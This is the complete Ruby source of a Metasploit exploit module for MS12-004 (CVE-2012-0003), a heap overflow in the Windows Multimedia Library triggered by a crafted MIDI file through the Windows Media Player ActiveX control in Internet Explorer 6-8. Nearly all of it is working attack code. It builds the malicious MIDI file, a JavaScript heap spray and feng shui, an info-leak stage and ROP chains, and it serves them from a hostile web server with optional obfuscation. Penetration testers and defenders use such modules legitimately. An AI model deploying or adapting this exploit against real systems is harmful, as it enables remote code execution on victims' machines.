610 lines
18 KiB
Ruby
610 lines
18 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
|
|
'Description' => %q{
|
|
This module exploits a heap overflow vulnerability in the Windows Multimedia
|
|
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
|
|
MIDI files. Remote code execution can be achieved by using the Windows Media Player
|
|
ActiveX control.
|
|
|
|
Exploitation is done by supplying a specially crafted MIDI file with
|
|
specific events, causing the offset calculation being higher than what is
|
|
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
|
|
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
|
|
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
|
|
which leverages remote code execution under the context of the user.
|
|
|
|
Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,
|
|
if you know your target's patch level, you may also try the 'MSHTML' advanced
|
|
option for an info leak based attack. Currently, this module only supports two
|
|
MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.
|
|
Or 8.0.6001.19120, which is patch level before the MS12-004 fix.
|
|
|
|
Also, based on our testing, the vulnerability does not seem to trigger when
|
|
the victim machine is operated via rdesktop.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Shane Garrett', #Initial discovery (IBM X-Force)
|
|
'juan vazquez',
|
|
'sinn3r'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'MSB', 'MS12-004'],
|
|
[ 'CVE', '2012-0003' ],
|
|
[ 'OSVDB', '78210'],
|
|
[ 'BID', '51292']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "process",
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[
|
|
'IE 6 on Windows XP SP3',
|
|
{
|
|
'Rop' => false,
|
|
'DispatchDst' => 0x0c0c0c0c
|
|
}
|
|
],
|
|
[
|
|
'IE 7 on Windows XP SP3',
|
|
{
|
|
'Rop' => false,
|
|
'DispatchDst' => 0x0c0c0c0c
|
|
}
|
|
],
|
|
[
|
|
'IE 8 on Windows XP SP3',
|
|
{
|
|
# xchg ecx,esp
|
|
# or byte ptr [eax],al
|
|
# add byte ptr [edi+5Eh],bl
|
|
# ret 8
|
|
# From IMAGEHLP
|
|
'Rop' => true,
|
|
'StackPivot' => 0x76C9B4C2,
|
|
'DispatchDst' => 0x0c0c1bd0
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Jan 10 2012",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
|
])
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptEnum.new('MSHTML',
|
|
[
|
|
false, "MSHTML Build Version", '',
|
|
[
|
|
'', #Default (no leaky leaky)
|
|
'8.0.6001.18702', #newly installed Win XP SP3 non patched
|
|
'8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011
|
|
]
|
|
])
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
@m_name, @midi = get_midi
|
|
@ml_name, @midi_leak = get_midi("leak")
|
|
@second_stage_url = rand_text_alpha(10)
|
|
@leak_param = rand_text_alpha(5)
|
|
|
|
# Offset to CFunctionPointer vftable in MSHTML
|
|
case datastore['MSHTML']
|
|
when '8.0.6001.18702'
|
|
@offset = 0xbf190
|
|
when '8.0.6001.19120'
|
|
@offset = 0xd92c8
|
|
end
|
|
super
|
|
end
|
|
|
|
def get_target(request)
|
|
agent = request.headers['User-Agent']
|
|
print_status("Request as: #{agent}")
|
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
|
|
#Windows XP SP3 + IE 6.0
|
|
return targets[1]
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
|
|
#Windows XP SP3 + IE 7.0
|
|
return targets[2]
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
|
|
#Windows XP SP3 + IE 8.0
|
|
return targets[3]
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
# stage => "corruption" (default) | "leak"
|
|
def get_midi(stage="corruption")
|
|
# MIDI Fileformat Reference:
|
|
# http://www.sonicspot.com/guide/midifiles.html
|
|
#
|
|
# Event Types:
|
|
# 0x08 = Note Off (when MIDI key is released)
|
|
# 0x09 = Note On (when MIDI key is pressed)
|
|
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
|
|
# 0x0B = Controller Event (MIDI channels state)
|
|
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
|
|
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
|
|
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
|
|
# 0x0F = Meta Events (not sent or received over a midi port)
|
|
|
|
# Structure:
|
|
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
|
|
|
|
# Track Chunk Data
|
|
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
|
|
# Meta Event - Sequence/Track Name
|
|
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
|
|
# Midi Channel Event - Program Change
|
|
tc << "\x00\xC9\x28"
|
|
# Midi Channel Event - Controller
|
|
tc << "\x00\xB9\x07\x64"
|
|
# Midi Channel Event - Controller
|
|
tc << "\x00\xB9\x0A\x40"
|
|
# Midi Channel Event - Controller
|
|
tc << "\x00\xB9\x7B\x00"
|
|
# Midi Channel Event - Controller
|
|
tc << "\x00\xB9\x5B\x28"
|
|
# Midi Channel Event - Controller
|
|
tc << "\x00\xB9\x5D\x00"
|
|
# Midi Channel Event - Note On
|
|
tc << "\x85\x50\x99\x23\x7F"
|
|
|
|
# Corruption events
|
|
if stage == "corruption"
|
|
# Midi Channel Event - Note On
|
|
tc << "\x00\x9F\xb2\x73"
|
|
else
|
|
# Midi Channel Event - Note Off (trigger a leak)
|
|
tc << "\x00\x8F\xb2\x73"
|
|
end
|
|
|
|
# Meta Event - End Of Track
|
|
tc << "\x00\xFF\x2F\x00"
|
|
m = ''
|
|
# HEADERCHUNK Header
|
|
m << "MThd" # Header
|
|
m << "\x00\x00\x00\x06" # Chunk size
|
|
m << "\x00\x00" # Format Type
|
|
m << "\x00\x01" # Number of tracks
|
|
m << "\x00\x60" # Time division
|
|
# TRACKCHUNK header
|
|
m << "MTrk" # Header
|
|
m << [tc.length].pack('N')
|
|
m << tc
|
|
|
|
#midi_name = "test_case.mid"
|
|
midi_name = rand_text_alpha(5) + ".mid"
|
|
|
|
return midi_name, m
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
# Initialize a target. If none suitable, then we don't continue.
|
|
my_target = target
|
|
if my_target.name =~ /Automatic/
|
|
my_target = get_target(request)
|
|
agent = request.headers['User-Agent']
|
|
if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/
|
|
send_not_found(cli)
|
|
print_error("Unknown user-agent")
|
|
return
|
|
end
|
|
vprint_status("Target selected: #{my_target.name}") if not my_target.nil?
|
|
end
|
|
|
|
# Send the corrupt midi file to trigger a memory leak, or a crash to that points
|
|
# to an arbitrary address.
|
|
if request.uri =~ /#{@ml_name}$/i
|
|
print_status("Testing for info leak...")
|
|
send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})
|
|
return
|
|
elsif request.uri =~ /#{@m_name}$/i
|
|
print_status("Sending midi corruption file...")
|
|
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
|
|
return
|
|
end
|
|
|
|
# Send the appropriate stage
|
|
if datastore['MSHTML'].to_s != '' and my_target['Rop']
|
|
if request.uri =~ /#{@second_stage_url}/
|
|
leak = begin
|
|
request.uri_parts["QueryString"][@leak_param].to_i
|
|
rescue
|
|
0
|
|
end
|
|
print_status("Leaked address: 0x#{leak.to_s(16)}")
|
|
send_stage(cli, my_target, 'trigger', leak)
|
|
return
|
|
end
|
|
send_stage(cli, my_target, 'leak')
|
|
else
|
|
send_stage(cli, my_target)
|
|
end
|
|
end
|
|
|
|
def send_stage(cli, my_target, stage='trigger', leak=0)
|
|
midi_uri = get_resource.chomp("/")
|
|
|
|
if stage == 'leak'
|
|
midi_uri << "/#{@ml_name}"
|
|
trigger = build_trigger(my_target, "leak")
|
|
else
|
|
midi_uri << "/#{@m_name}"
|
|
trigger = build_trigger(my_target)
|
|
spray = build_spray(my_target, leak)
|
|
end
|
|
|
|
if datastore['OBFUSCATE']
|
|
spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true)
|
|
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
|
|
trigger.obfuscate(memory_sensitive: true)
|
|
trigger_fn = trigger.sym('trigger')
|
|
else
|
|
trigger_fn = 'trigger'
|
|
end
|
|
|
|
html = %Q|
|
|
<html>
|
|
<head>
|
|
<script language='javascript'>
|
|
#{spray}
|
|
</script>
|
|
|
|
<script language='javascript'>
|
|
#{trigger}
|
|
</script>
|
|
<script for=audio event=PlayStateChange(oldState,newState)>
|
|
if (oldState == 3 && newState == 0) {
|
|
#{trigger_fn}();
|
|
}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
|
|
<param name="fileName" value="#{midi_uri}">
|
|
<param name="SendPlayStateChangeEvents" value="true">
|
|
<param NAME="AutoStart" value="True">
|
|
<param name="uiMode" value="mini">
|
|
<param name="Volume" value="-300">
|
|
</object>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
html = html.gsub(/^ {4}/, '')
|
|
|
|
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
end
|
|
|
|
def build_spray(my_target, leak=0)
|
|
|
|
# Extract string based on target
|
|
if my_target.name == 'IE 8 on Windows XP SP3'
|
|
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
|
|
else
|
|
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
|
end
|
|
|
|
# Build shellcode based on Rop requirement
|
|
code = ''
|
|
if my_target['Rop'] and datastore['MSHTML'].to_s != ''
|
|
print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
|
|
code << create_info_leak_rop(my_target, leak)
|
|
code << payload.encoded
|
|
elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
|
|
print_status("Generating ROP using msvcrt")
|
|
code << create_rop(my_target, payload.encoded)
|
|
else
|
|
code << payload.encoded
|
|
end
|
|
|
|
shellcode = Rex::Text.to_unescape(code)
|
|
|
|
randnop = rand_text_alpha(rand(100) + 1)
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4)
|
|
|
|
# 1. Create big block of nops
|
|
# 2. Compose one block which is nops + shellcode
|
|
# 3. Repeat the block
|
|
# 4. Extract string from the big block
|
|
# 5. Spray
|
|
spray = <<-JS
|
|
var heap_obj = new heapLib.ie(0x10000);
|
|
|
|
var code = unescape("#{shellcode}");
|
|
var #{randnop} = "#{js_nops}";
|
|
var nops = unescape(#{randnop});
|
|
|
|
while (nops.length < 0x1000) nops+= nops;
|
|
var shellcode = nops.substring(0,0x800 - code.length) + code;
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
|
|
#{js_extract_str}
|
|
|
|
heap_obj.gc();
|
|
for (var i=0; i < 600; i++) {
|
|
heap_obj.alloc(block);
|
|
}
|
|
|
|
JS
|
|
|
|
spray = heaplib(spray, {:noobfu => true})
|
|
return spray
|
|
end
|
|
|
|
# Build the JavaScript string for the attributes
|
|
# type => "corruption" (default) | "leak"
|
|
def build_element(element_name, my_target, type="corruption")
|
|
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
|
|
element = ''
|
|
|
|
if my_target.name =~ /IE 8/
|
|
max = 63 # Number of attributes for IE 8
|
|
index = 1 # Where we want to confuse the type
|
|
else
|
|
max = 55 # Number of attributes for before IE 8
|
|
index = 0 # Where we want to confuse the type
|
|
end
|
|
|
|
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
|
|
|
|
# Build attributes
|
|
0.upto(max) do |i|
|
|
case type
|
|
when "corruption"
|
|
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
|
|
else #leak
|
|
obj = "alert"
|
|
end
|
|
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
|
|
end
|
|
|
|
return element
|
|
end
|
|
|
|
# Feng Shui and triggering Steps:
|
|
# 1. Run the garbage collector before allocations
|
|
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
|
|
# 3. Make holes
|
|
# 4. Let windows media play the crafted midi file and corrupt the heap
|
|
# 5. Force the using of the confused tagVARIANT.
|
|
def build_trigger(my_target, type="corruption")
|
|
js_trigger = build_trigger_fn(my_target, type)
|
|
select_element = build_element('selob', my_target, type)
|
|
|
|
trigger = <<-JS
|
|
var heap = new heapLib.ie();
|
|
#{select_element}
|
|
var clones = new Array(1000);
|
|
|
|
function feng_shui() {
|
|
heap.gc();
|
|
|
|
var i = 0;
|
|
while (i < 1000) {
|
|
clones[i] = selob.cloneNode(true)
|
|
i = i + 1;
|
|
}
|
|
|
|
var j = 0;
|
|
while (j < 1000) {
|
|
delete clones[j];
|
|
CollectGarbage();
|
|
j = j + 2;
|
|
}
|
|
}
|
|
|
|
feng_shui();
|
|
|
|
#{js_trigger}
|
|
JS
|
|
|
|
trigger = heaplib(trigger, {:noobfu => true})
|
|
return trigger
|
|
end
|
|
|
|
# type = "corruption" (default) | "leak"
|
|
def build_trigger_fn(my_target, type="corruption")
|
|
js_trigger=""
|
|
case type
|
|
when "corruption"
|
|
js_trigger = js_trigger_fn_corruption(my_target)
|
|
when "leak"
|
|
js_trigger = js_trigger_fn_leak(my_target)
|
|
end
|
|
return js_trigger
|
|
end
|
|
|
|
# Redoing the feng shui if fails makes it reliable
|
|
def js_trigger_fn_corruption(my_target)
|
|
attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'
|
|
|
|
js = %Q|
|
|
function trigger(){
|
|
var k = 999;
|
|
while (k > 0) {
|
|
if (typeof(clones[k].#{attribute}) == "string") {
|
|
} else {
|
|
clones[k].#{attribute}('come on!');
|
|
}
|
|
k = k - 2;
|
|
}
|
|
feng_shui();
|
|
document.audio.Play();
|
|
}
|
|
|
|
|
|
|
return js
|
|
end
|
|
|
|
# Redoing the feng shui if fails makes it reliable
|
|
def js_trigger_fn_leak(my_target)
|
|
js_trigger = ""
|
|
if my_target.name == 'IE 8 on Windows XP SP3'
|
|
js_trigger = <<-JSTRIGGER
|
|
function trigger(){
|
|
var k = 999;
|
|
while (k > 0) {
|
|
if (typeof(clones[k].w1) == "string") {
|
|
var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)
|
|
document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + leak
|
|
return;
|
|
}
|
|
k = k - 2;
|
|
}
|
|
feng_shui();
|
|
document.audio.Play();
|
|
}
|
|
JSTRIGGER
|
|
end
|
|
|
|
return js_trigger
|
|
end
|
|
|
|
def create_rop(t, p)
|
|
# MSVCRT.dll ROP
|
|
padding = ''
|
|
padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET
|
|
padding << [t['StackPivot']].pack("V*")
|
|
padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs
|
|
generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
|
|
end
|
|
|
|
def create_info_leak_rop(my_target, leak = 0x0)
|
|
base = (leak == 0x00) ? 0x63580000 : (leak - @offset)
|
|
print_status("Image base of mshtml: 0x%x" %base)
|
|
|
|
# Generate the gadgets based on offset
|
|
rop_gadgets = ''
|
|
case @offset
|
|
when 0xd92c8
|
|
rop_gadgets =
|
|
[
|
|
:junk,
|
|
:junk,
|
|
0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
|
|
:junk,
|
|
0x247e5d, # ROP NOPs
|
|
0x247e5d,
|
|
0x247e5d,
|
|
0x247e5d,
|
|
0x247e5d,
|
|
0x247e5d,
|
|
0x247e5d,
|
|
0x247e5c, # POP ESI # RETN [mshtml.dll]
|
|
0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll]
|
|
0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]
|
|
0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]
|
|
:junk,
|
|
0x3460c, # POP EBP # RETN [mshtml.dll]
|
|
:junk,
|
|
:junk,
|
|
0x23ef79, # & jmp esp [mshtml.dll]
|
|
0x189303, # POP EBX # RETN [mshtml.dll]
|
|
:ebx, # 0x00000201-> ebx
|
|
0x20437c, # POP EDX # RETN [mshtml.dll]
|
|
:edx, # 0x00000040-> edx
|
|
0xc277, # POP ECX # RETN [mshtml.dll]
|
|
0x53a47d, # &Writable location [mshtml.dll]
|
|
0x4a33e2, # POP EDI # RETN [mshtml.dll]
|
|
0x4b601, # RETN (ROP NOP) [mshtml.dll]
|
|
0x33fbc6, # POP EAX # RETN [mshtml.dll]
|
|
:nop,
|
|
0x52c718 # PUSHAD # RETN [mshtml.dll]
|
|
]
|
|
|
|
when 0xbf190
|
|
rop_gadgets =
|
|
[
|
|
:junk,
|
|
0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
|
|
:junk,
|
|
0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7
|
|
:junk,
|
|
:junk,
|
|
:junk,
|
|
:junk,
|
|
:junk,
|
|
0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll]
|
|
0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
|
|
0x3dc745, # POP ESI # RETN [mshtml.dll]
|
|
:neg, # 0xffffffff
|
|
0x2fb18b, # INC ESI # RETN [mshtml.dll]
|
|
0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]
|
|
0x4aada7, # POP EBP # RETN [mshtml.dll]
|
|
:junk, # Compensates RETN
|
|
:junk, # Compensates RETN
|
|
0x1ffc54, # & jmp esp [mshtml.dll]
|
|
0x4498a7, # POP EBX # RETN [mshtml.dll]
|
|
:ebx, # 0x00000800: 0x00000201-> ebx
|
|
0x24cce4, # POP EDX # RETN [mshtml.dll]
|
|
:edx, # 0x00000040-> edx
|
|
0x158306, # POP ECX # RETN [mshtml.dll]
|
|
0x535098, # &Writable location [mshtml.dll]
|
|
0x1cf217, # POP EDI # RETN [mshtml.dll]
|
|
0xa0001, # RETN (ROP NOP) [mshtml.dll]
|
|
0x349f9b, # POP EAX # RETN [mshtml.dll]
|
|
:nop,
|
|
0x2afbe8 # PUSHAD # RETN [mshtml.dll]
|
|
]
|
|
end
|
|
|
|
nops = make_nops(4).unpack("L")[0].to_i
|
|
|
|
rop_gadgets.map! { |e|
|
|
if e == :junk
|
|
rand_text(4).unpack("L")[0].to_i
|
|
elsif e == :neg
|
|
0xffffffff
|
|
elsif e == :ebx
|
|
0x00000800
|
|
elsif e == :edx
|
|
0x00000040
|
|
elsif e == :nop
|
|
nops
|
|
else
|
|
base + e
|
|
end
|
|
}
|
|
|
|
chain = rop_gadgets.pack('V*')
|
|
return chain
|
|
end
|
|
end
|